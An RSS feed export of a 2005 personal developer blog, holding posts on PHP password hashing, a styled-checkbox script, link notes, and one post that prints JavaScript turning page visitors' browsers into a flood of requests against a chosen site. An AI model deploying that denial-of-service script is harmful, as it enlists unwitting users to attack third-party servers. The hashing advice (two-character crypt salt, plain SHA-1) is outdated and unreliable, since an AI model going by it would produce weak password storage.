<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>novolocus.com &#187; 2005 &#187; July</title>
	<atom:link href="http://www.novolocus.com/2005/07/feed" rel="self" type="application/rss+xml" />
	<link>http://www.novolocus.com</link>
	<description>Whatever Andy Burns is working on...</description>
	<pubDate>Mon, 05 Jan 2009 16:14:46 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Secure PHP</title>
		<link>http://www.novolocus.com/2005/07/29/secure-php/</link>
		<comments>http://www.novolocus.com/2005/07/29/secure-php/#comments</comments>
		<pubDate>Fri, 29 Jul 2005 13:07:50 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=231</guid>
		<description><![CDATA[So, I took time out from decorating to trawl the Internet, as is my wont. I came across a nice site with Apache Mod_Rewrite cheat sheets which is nerdy, but useful. The same site also has a nice article about Writing Secure PHP which is pretty good - although I have some comments&#8230;
So I&#8217;m a [...]]]></description>
			<content:encoded><![CDATA[<p>So, I took time out from decorating to trawl the Internet, as is my wont. I came across a nice site with <a href="http://www.ilovejackdaniels.com/cheat-sheets/mod_rewrite-cheat-sheet/">Apache Mod_Rewrite cheat sheets</a> which is nerdy, but useful. The same site also has a nice article about <a href="http://www.ilovejackdaniels.com/security/writing-secure-php-3/comments">Writing Secure PHP</a> which is pretty good - although I have some comments&#8230;<span id="more-231"></span></p>
<p>So I&#8217;m a nerd for security, and I do like overkill, but there are some simple things that could be done to improve the security described in the &#8216;Weak Passwords&#8217; section on page 2.</p>
<p>First off, don&#8217;t use MD5. <a href="http://www.schneier.com/blog/archives/2005/06/more_md5_collis.html">It&#8217;s broken</a> , or at least it would be better (and very little effort) to use <a href="http://uk.php.net/manual/en/function.sha1.php">SHA-1</a>.</p>
<p>Second, if you&#8217;re storing the hash (MD5, SHA-1, SHA-256, whatever) of a user&#8217;s password, well, don&#8217;t just hash the password, but hash the username too. <a href="http://uk.php.net/manual/en/function.crypt.php">PHP&#8217;s Crypt()</a> function is for this kind of thing, with a &#8217;salt&#8217;. E.g.<br />
<code>Function EncryptPassword( $username, $password ) {<br />
	$salt = substr($username,0,2);<br />
	return crypt($password, $salt);<br />
}</code><br />
What would this mean? Well, an attacker trying the dictionary attack described would need not 1, but 3844 dictionaries, assuming usernames are alphanumeric and case sensitive.</p>
<p>Hell, why not use the username too as what you&#8217;re hashing? I&#8217;ve not seen this done anywhere - and I&#8217;m not <em>sure</em> of it&#8217;s security (I say that in the most paranoid sense) - but principle is the same. By appending the username to the password being hashed, well, you&#8217;d need a seperate dictionary for each username. You could even throw in a constant string - it doesn&#8217;t add much security, but it means your code would have to be compromised in order to allow precomputation of a dictionary for a user.<br />
<code>Function MakeHash( $username, $password ){<br />
      return sha1( $username . "some arbitrary string" . $password);<br />
}</code><br />
A final thought - don&#8217;t underestimate passphrases rather than passwords. They&#8217;re easier for people to remember than passwords. Consider &#8216;r5GG8%&#8217; and &#8216;elephants lollop gracefully&#8217;. Which would you remember? <a href="http://blogs.technet.com/robert_hensing/archive/2004/07/28/199610.aspx">Robert Hessig of Microsoft PSS</a> has a good article. And all of the above techniques would work with a passphrase instead of password - after all, they&#8217;re all just text&#8230;</p>
<p class="oldCommentOuter">Comments from my old blog:</p>
<p class="oldCommentInner">&nbsp;</p>
<p class="oldComment">DES was broken many years ago, so that&#8217;s a very poor alternative to MD5.</p>
<p class="oldCommentFooter">By Chris at 16:18:01 Saturday 30th July 2005</p>
<p class="oldCommentInner">&nbsp;</p>
<p class="oldComment">Puzzled by the DES comment - DES isn&#8217;t a good algorithm for encryption, certainly - it&#8217;s bust, and we have AES now. Also, DES is a block encryption cipher, whereas MD5 is a hashing algorithm. Different things.</p>
<p class="oldCommentFooter">By Andy at 21:50:29 Saturday 19th November 2005</p>
<p class="oldCommentInner">&nbsp;</p>
<p class="oldComment">I believe the DES comment is because your EncryptPassword function passes crypt a two character salt, which makes crypt use the &#8217;standard DES-based encryption&#8217;.</p>
<p class="oldCommentFooter">By Deebster at 16:41:44 Wednesday 29th March 2006</p>
<p class="oldCommentInner">&nbsp;</p>
<p class="oldComment">Ah, well I&#8217;ll be damned. I hadn&#8217;t realised that Crypt could use DES. Come to that, I&#8217;m not sure why I&#8217;m using a Crypt function for what should be hashing. Brain fade, I guess. I suppose that replacing DES with Blowfish would give a function that encrypted the password in a recoverable way, although I&#8217;m not a fan of that.</p>
<p class="oldCommentFooter">By Andy at 12:28:55 Saturday 6th May 2006</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/29/secure-php/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Swimbots.com</title>
		<link>http://www.novolocus.com/2005/07/29/swimbotscom/</link>
		<comments>http://www.novolocus.com/2005/07/29/swimbotscom/#comments</comments>
		<pubDate>Fri, 29 Jul 2005 13:07:44 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[A Bit Random]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=232</guid>
		<description><![CDATA[It&#8217;s a bit of a toy, but Swimbots is a quite fun A-life programme.
]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s a bit of a toy, but <a href="http://www.swimbots.com/">Swimbots</a> is a quite fun A-life programme.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/29/swimbotscom/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Styling Checkboxes with JavaScript</title>
		<link>http://www.novolocus.com/2005/07/18/checkboxes/</link>
		<comments>http://www.novolocus.com/2005/07/18/checkboxes/#comments</comments>
		<pubDate>Mon, 18 Jul 2005 08:07:26 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[Graphics, Design and UI]]></category>

		<category><![CDATA[HTML &amp; Web]]></category>

		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=233</guid>
		<description><![CDATA[I&#8217;ve been reading recently about how to do Styled Checkboxes. Well, this was something I was working on too - and naturally, I like my way more.
How it works
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been reading recently about how to do <a href="http://www.gamingheadlines.co.uk/wod/formstyle/index.html">Styled Checkboxes</a>. Well, this was something I was working on too - and naturally, I like my way more.</p>
<p><strong>How it works</strong><br />
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn and an imgOff, then the INPUT tag has its style set to hidden, and the appropriate images are added to the DOM. They&#8217;re floating, though, and so are positioned where the checkbox was on the page.</p>
<p>When you click on one, it changes the state of the underlying checkbox (it&#8217;s still there, just hidden), and displays the image appropriate for that state.</p>
<p>When the form is submitted, the checkbox is submitted as normal.</p>
<p>As a user leaves the page, on unload the code in checkbox.js tries to tidy up after itself, although I&#8217;m a little concerned about memory leaks after some interesting articles I read recently.</p>
<p><strong>Known Issues</strong></p>
<ul>
<li>These controls are not part of the tabindex. My friend Bruce Sandeman has been working on a version of this where the images are &#8216;tabable&#8217;, but is struggling to turn the border of the images off. I&#8217;ve included the code anyway - see checkbox2.js. I&#8217;ve not reviewed it yet, so user beware!</li>
<li>It&#8217;d be nice to hand all events on to the original checkbox for handling.</li>
<li>At the least, some sort of mouseover/mouseout? It&#8217;s not so obvious that these are checkboxes, at least with the demo images I&#8217;ve chosen.</li>
<li>I&#8217;m a little concerned about memory leaks given some things I&#8217;ve read recently and my use of closures. If anyone knows how to prove/prevent any leaks, let me know, that would be cool</li>
</ul>
<p><strong>How to Use</strong></p>
<p>Real tricky this - include the checkbox.js file in your HTML page.<br />
<code>&lt;script src="checkbox.js"&gt;&lt;/script&gt;</code><br />
Then, in the HTML for each of your checkboxes, add two new attributes - &#8216;imgOn&#8217; and &#8216;imgOff&#8217;. The value of these attributes should be the path to the images you want to use for the checked (&#8217;on&#8217;) and unchecked (&#8217;off&#8217;) states.</p>
<p><code>&lt;input type="checkbox" value='2' imgOn='tick.gif' imgOff='cross.gif' /&gt;</code></p>
<p>and with luck, that should be you done.</p>
<p>See the code below:<span id="more-233"></span></p>
<p><code>//**************************************************<br />
// Copyright 2005 - Andrew Burns<br />
// Licensed under the Apache License, Version 2.0 (the "License");<br />
// you may not use this file except in compliance with the License.<br />
// You may obtain a copy of the License at<br />
//<br />
// http://www.apache.org/licenses/LICENSE-2.0<br />
//<br />
// Unless required by applicable law or agreed to in writing,<br />
// software distributed under the License is distributed on an<br />
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,<br />
// either express or implied. See the License for the specific<br />
// language governing permissions and limitations under the License.<br />
//**************************************************<br />
//**************************************************<br />
// CheckBox Control<br />
// ---------------<br />
// By Andrew Burns, June 2005<br />
// Modified Bruce Sandeman, June 2005<br />
//<br />
// Javascript file for creating a 'Checkbox' using images.<br />
// Degrades softly to normal checkboxes if JavaScript is unsupported.<br />
//**************************************************<br />
// Function to attach an event handler function to an object<br />
function attachCheckEvent ( oTarget, cEvType, fnHandler, bForceOneFn ){<br />
if( bForceOneFn == null ) {<br />
bForceOneFn = false;<br />
}<br />
if( bForceOneFn ) {<br />
oTarget["on" + cEvType] = fnHandler;<br />
} else {<br />
if (oTarget.addEventListener) {<br />
oTarget.addEventListener( cEvType, fnHandler, true );<br />
} else if (oTarget.attachEvent){<br />
oTarget.attachEvent( &#8220;on&#8221; + cEvType, fnHandler );<br />
}<br />
}<br />
// Note: No assignment of form below:<br />
//    oTarget["on" + cEvType] = fnHandler;<br />
// I don&#8217;t want to overwrite any other javascript that is applied, so instead<br />
// I&#8217;ll not do anything. This way, we just fail softly&#8230;<br />
}<br />
// Create a closed OnClick function. This will deal with changing the image, and the hidden CheckBox field<br />
function createCheckClickEventHandler( oImg ) {<br />
obj = function( e ) {<br />
if( oImg.chkBox.checked == true ) {<br />
oImg.chkBox.checked = false;<br />
oImg.src = oImg.offImage.src;<br />
} else {<br />
oImg.chkBox.checked = true;<br />
oImg.src = oImg.onImage.src;<br />
}<br />
};<br />
return obj;<br />
}<br />
function createKeyEventHandler( o ) {<br />
obj = function( e ) {<br />
var bSpaceKey = false;<br />
if( e ) {<br />
if( e.which == 32) {<br />
bSpaceKey = true;<br />
}<br />
} else {<br />
if( window.event.keyCode ) {<br />
bSpaceKey = true;<br />
}<br />
}<br />
if( bSpaceKey ) {<br />
var oImg = o.oImg;<br />
if( oImg.chkBox.checked == true ) {<br />
oImg.chkBox.checked = false;<br />
oImg.src = oImg.offImage.src;<br />
} else {<br />
oImg.chkBox.checked = true;<br />
oImg.src = oImg.onImage.src;<br />
}<br />
}<br />
};<br />
return obj;<br />
}<br />
// Function to create checkboxes. Reads the the DOM attributes of text input tags.<br />
function prepareCheck () {<br />
// Get Input elements<br />
var x = document.getElementsByTagName(&#8217;INPUT&#8217;);</code></p>
<p>// For each input element, if it is a checkbox, and has replacement images&#8230;<br />
for (var i=0;i<x.length;i++)><br />
if( (x[i].type == &#8216;checkbox&#8217;) &amp;&amp; x[i].getAttribute(&#8217;imgOn&#8217;) &amp;&amp; x[i].getAttribute(&#8217;imgOff&#8217;) ){</x.length;i++)></p>
<p>// Find Checkbox Location on screen. Hide the Checkbox<br />
xpos = 0;<br />
obj = x[i];<br />
if (obj.offsetParent) {<br />
while (obj.offsetParent) {<br />
xpos += obj.offsetLeft;<br />
obj = obj.offsetParent;<br />
}<br />
} else if (obj.x) {<br />
xpos += obj.x;<br />
}</p>
<p>ypos = 0;<br />
obj = x[i];<br />
if (obj.offsetParent) {<br />
while (obj.offsetParent) {<br />
ypos += obj.offsetTop;<br />
obj = obj.offsetParent;<br />
}<br />
} else if (obj.y) {<br />
ypos += obj.y;<br />
}</p>
<p>x[i].style.visibility = &#8216;hidden&#8217;;</p>
<p>// Add a new image, and cache &#8216;checked&#8217; and &#8216;unchecked&#8217; images.<br />
var oAnchor = document.createElement( &#8220;A&#8221; );<br />
oAnchor.tabIndex = i+1;<br />
oAnchor.href=&#8221;null&#8221;;<br />
var oImg = document.createElement( &#8220;IMG&#8221; );<br />
oImg.onImage = new Image();<br />
oImg.onImage.src = x[i].getAttribute(&#8217;imgOn&#8217;);<br />
oImg.offImage = new Image();<br />
oImg.offImage.src = x[i].getAttribute(&#8217;imgOff&#8217;);<br />
// Make it visibile, and absolutely positioned, so we can replace the CheckBox<br />
oAnchor.style.visibility = &#8216;visible&#8217;;<br />
oAnchor.style.position = &#8216;absolute&#8217;;<br />
// Link between Hidden Checkbox and Image<br />
oImg.chkBox = x[i];<br />
x[i].oImg = oImg;</p>
<p>// Decide on the Initial image used for the image<br />
// IE and Opera</p>
<p>if( document.all ) {<br />
bOn = !( x[i].getAttribute( &#8220;CHECKED&#8221; ) == false );<br />
} else {<br />
bOn = ( x[i].getAttribute(&#8221;CHECKED&#8221; ) == &#8220;&#8221;);<br />
}</p>
<p>if( bOn ) {<br />
oImg.src = oImg.onImage.src;<br />
} else {<br />
oImg.src = oImg.offImage.src;<br />
}<br />
// Attach the click event hander. This should swap the image and the checkbox state<br />
oImg.style.left = xpos  + ( ( x[i].offsetWidth - oImg.width ) / 2);<br />
oImg.style.top = ypos + ( ( x[i].offsetHeight - oImg.height ) / 2);<br />
attachCheckEvent( oImg, &#8216;click&#8217;, createCheckClickEventHandler( oImg )  );<br />
oAnchor.oImg = oImg;<br />
attachCheckEvent( oAnchor, &#8216;keydown&#8217;, createKeyEventHandler( oAnchor ), true );<br />
attachCheckEvent( oAnchor, &#8216;click&#8217;, function (e) { return false; }, true );<br />
oAnchor.style.left = xpos  + ( ( x[i].offsetWidth - oImg.width ) / 2);<br />
oAnchor.style.top = ypos + ( ( x[i].offsetHeight - oImg.height ) / 2);<br />
oAnchor.appendChild( oImg );<br />
document.body.appendChild( oAnchor );<br />
}<br />
// if<br />
}<br />
// for<br />
}<br />
// Clear the elements used on page exit<br />
function clearCheck () {<br />
var x = document.getElementsByTagName(&#8217;INPUT&#8217;);<br />
for (var i=0;i<x.length;i++)><br />
if( (x[i].type == &#8216;checkbox&#8217;) &amp;&amp; x[i].oImg ){<br />
x[i].oImg.onclick = null;<br />
x[i].oImg.onImage = null;<br />
x[i].oImg.offImage = null;</x.length;i++)></p>
<p>x[i].oImg.chkBox = null;</p>
<p>x[i].oImg.src = null;<br />
x[i].oImg.parentNode.removeChild( x[i].oImg );<br />
x[i].oImg = null;<br />
}<br />
}<br />
}<br />
// Attach Events on page load to prepare the Checkboxes.<br />
attachCheckEvent( window, &#8216;load&#8217;, prepareCheck);<br />
attachCheckEvent( window, &#8216;unload&#8217;, clearCheck);</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/18/checkboxes/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XMLHTTPRequest for Denial of Service</title>
		<link>http://www.novolocus.com/2005/07/15/xmlhttprequest-for-denial-of-service/</link>
		<comments>http://www.novolocus.com/2005/07/15/xmlhttprequest-for-denial-of-service/#comments</comments>
		<pubDate>Fri, 15 Jul 2005 13:07:39 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=235</guid>
		<description><![CDATA[Maybe the XMLHTTPRequest handler isn&#8217;t such a good idea&#8230;
Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head&#8230;
You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site - check. [...]]]></description>
			<content:encoded><![CDATA[<p>Maybe the XMLHTTPRequest handler isn&#8217;t such a good idea&#8230;</p>
<p>Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head&#8230;</p>
<p>You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site - check. And you can make many of them on one page - yup. And finally, you don&#8217;t have to do anything with the response - you see where I&#8217;m going with this yet?</p>
<p>Assume you have a function for creating XMLHTTPRequest objects. Consider the following:<br />
<code>var urlTarget = 'www.example.com'; // The site we want to DOS<br />
var aStack = array();</p>
<p>function fnHTTP (oHTTP) {<br />
return function () {<br />
if (oHTTP.readyState == 3) {<br />
oHTTP.open("GET", urlTarget, true);<br />
oHTTP.send(null);<br />
}<br />
}<br />
}</p>
<p>function setupDOS () {<br />
for (i=0; i&lt;100; i++ ) {</p>
<p>oHTTP = GetXMLHTTPRequest();<br />
oHTTP.open("GET", urlTarget, true);<br />
oHTTP.onreadystatechange = fnHTTP(oHTTP);<br />
oHTTP.send(null);</p>
<p>aStack.push( oHTTP );<br />
}<br />
}</code></p>
<p>window.onload = setupDOS;<br />
So, a user goes to a page. In the background, after they&#8217;ve loaded the page, JavaScript is creating a whole load of XMLHTTPRequest objects, and then using these to make requests of a target site. And as each object gets serviced, it makes another request.<span id="more-235"></span></p>
<p>Thus, if you had 1,000 users, they could be making 100,000 requests of another site. And the requests would be from 1,000 different clients. Isn&#8217;t that the point of a denial of service attack? I mean, imagine if this were put on Slashdot!</p>
<p>I haven&#8217;t actually tried this yet - I might knock something up over the next week - but I can&#8217;t see anything that would prevent this. Did I miss anything? Is this not possible?</p>
<blockquote><p><strong>Update:</strong> So I wrote a script to try it. You can <a href="http://www.novolocus.com/wp-admin/files/ajaxDOS.txt">download it here</a>. Basically, as is often the way, Firefox is well thought out and safe - it refuses to open an XMLHTTPRequest to a different domain. Good behaviour, I reckon.IE6, though, warns you about active content without being very specific - and if you allow the active content, the code you can download works just fine thankyou. So, all you need to do is put some dynamic content on the page so that your IE6 users allow active content, and you&#8217;re away - DOS galore!</p></blockquote>
<p class="oldCommentOuter">Comments from my old blog:</p>
<p class="oldCommentInner">&nbsp;</p>
<p class="oldComment">I had a response from Nicholas Zakas (  <a href="http://www.nczonline.net/">http://www.nczonline.net/</a> ):<br />
&#8220;I *think* IE6 SP2 effectively protects against that by disallowing cross-domain requests. I know you said that you get a simple warning about active content, but I think that only happens if you&#8217;re running the file locally. If you run it on a server, I believe that you&#8217;d just be blocked. So, in order to create a serious DDOS, you&#8217;d have to have people go to the Web site, download the file, open it, and click &#8220;I  don&#8217;t care&#8221; to the IE warning. While I understand your concern, I don&#8217;t think it&#8217;s a huge security hole at this point.&#8221;</p>
<p>Indeed, he&#8217;s right - it does disallow cross-domain requests if the file isn&#8217;t being run locally. It&#8217;s still a little worrying - most of the manuals for the various products I work with come in HTML with &#8216;active content&#8217; for example - but clearly you&#8217;re then having to rely on some form of social engineering, and you won&#8217;t get as much (or, probably, enough) activity to have a serious effect.</p>
<p class="oldCommentFooter">By Andy Burns at 07:55:05 Tuesday 19th July 2005</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/15/xmlhttprequest-for-denial-of-service/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Morbid</title>
		<link>http://www.novolocus.com/2005/07/15/morbid/</link>
		<comments>http://www.novolocus.com/2005/07/15/morbid/#comments</comments>
		<pubDate>Fri, 15 Jul 2005 13:07:09 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[A Bit Random]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=236</guid>
		<description><![CDATA[Yet strangely fascinating. How safe is your house from Nuclear attack. London is &#8216; -0.13, 51.5 &#8216;. And that&#8217;s &#8216;Nu-clear&#8217; for any Americans, not &#8216;Nuke-u-lar&#8217;&#8230;
]]></description>
			<content:encoded><![CDATA[<p>Yet strangely fascinating. How safe is your house from <a href="http://meyerweb.com/eric/thoughts/2005/07/13/mapping-doomsday/">Nuclear attack</a>. London is &#8216; -0.13, 51.5 &#8216;. And that&#8217;s &#8216;Nu-clear&#8217; for any Americans, not &#8216;Nuke-u-lar&#8217;&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/15/morbid/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I like Google</title>
		<link>http://www.novolocus.com/2005/07/08/i-like-google/</link>
		<comments>http://www.novolocus.com/2005/07/08/i-like-google/#comments</comments>
		<pubDate>Fri, 08 Jul 2005 07:07:58 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[HTML &amp; Web]]></category>

		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=237</guid>
		<description><![CDATA[So, I&#8217;d been thinking of writing something like this. Basically, it allows you to fetch and XML page through the XMLHTTPRequest thingy, apply a style to it, and display it as a page. Cool!
]]></description>
			<content:encoded><![CDATA[<p>So, I&#8217;d been <a href="http://goog-ajaxslt.sourceforge.net/">thinking of writing something like this</a>. Basically, it allows you to fetch and XML page through the XMLHTTPRequest thingy, apply a style to it, and display it as a page. Cool!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/08/i-like-google/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Memory Leaks In IE</title>
		<link>http://www.novolocus.com/2005/07/07/memory-leaks-in-ie/</link>
		<comments>http://www.novolocus.com/2005/07/07/memory-leaks-in-ie/#comments</comments>
		<pubDate>Thu, 07 Jul 2005 09:07:47 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[Internet Explorer]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=238</guid>
		<description><![CDATA[A good article for on MSDN. With the whole advent of &#8216;Ajax&#8217; and richer, JavaScript enabled user interfaces, memory leaks like this will become a much bigger issue. I know some people will say &#8216;memory is cheap&#8217; and that there is a lot of it, but that really isn&#8217;t adequate. So, worth a read.
]]></description>
			<content:encoded><![CDATA[<p>A good article for on <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/IETechCol/dnwebgen/ie_leak_patterns.asp">MSDN</a>. With the whole advent of &#8216;Ajax&#8217; and richer, JavaScript enabled user interfaces, memory leaks like this will become a much bigger issue. I know some people will say &#8216;memory is cheap&#8217; and that there is a lot of it, but that really isn&#8217;t adequate. So, worth a read.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/07/memory-leaks-in-ie/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cool special effect</title>
		<link>http://www.novolocus.com/2005/07/05/cool-special-effect/</link>
		<comments>http://www.novolocus.com/2005/07/05/cool-special-effect/#comments</comments>
		<pubDate>Tue, 05 Jul 2005 22:07:06 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
		
		<category><![CDATA[A Bit Random]]></category>

		<guid isPermaLink="false">http://www.novolocus.com/?p=239</guid>
		<description><![CDATA[I can&#8217;t think of a single use for this, but it looks cool
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.eigelb.at/HP/Links/SpecialEffects/Grappa/DelayedTrace/">I can&#8217;t think of a single use for this, but it looks cool</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.novolocus.com/2005/07/05/cool-special-effect/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
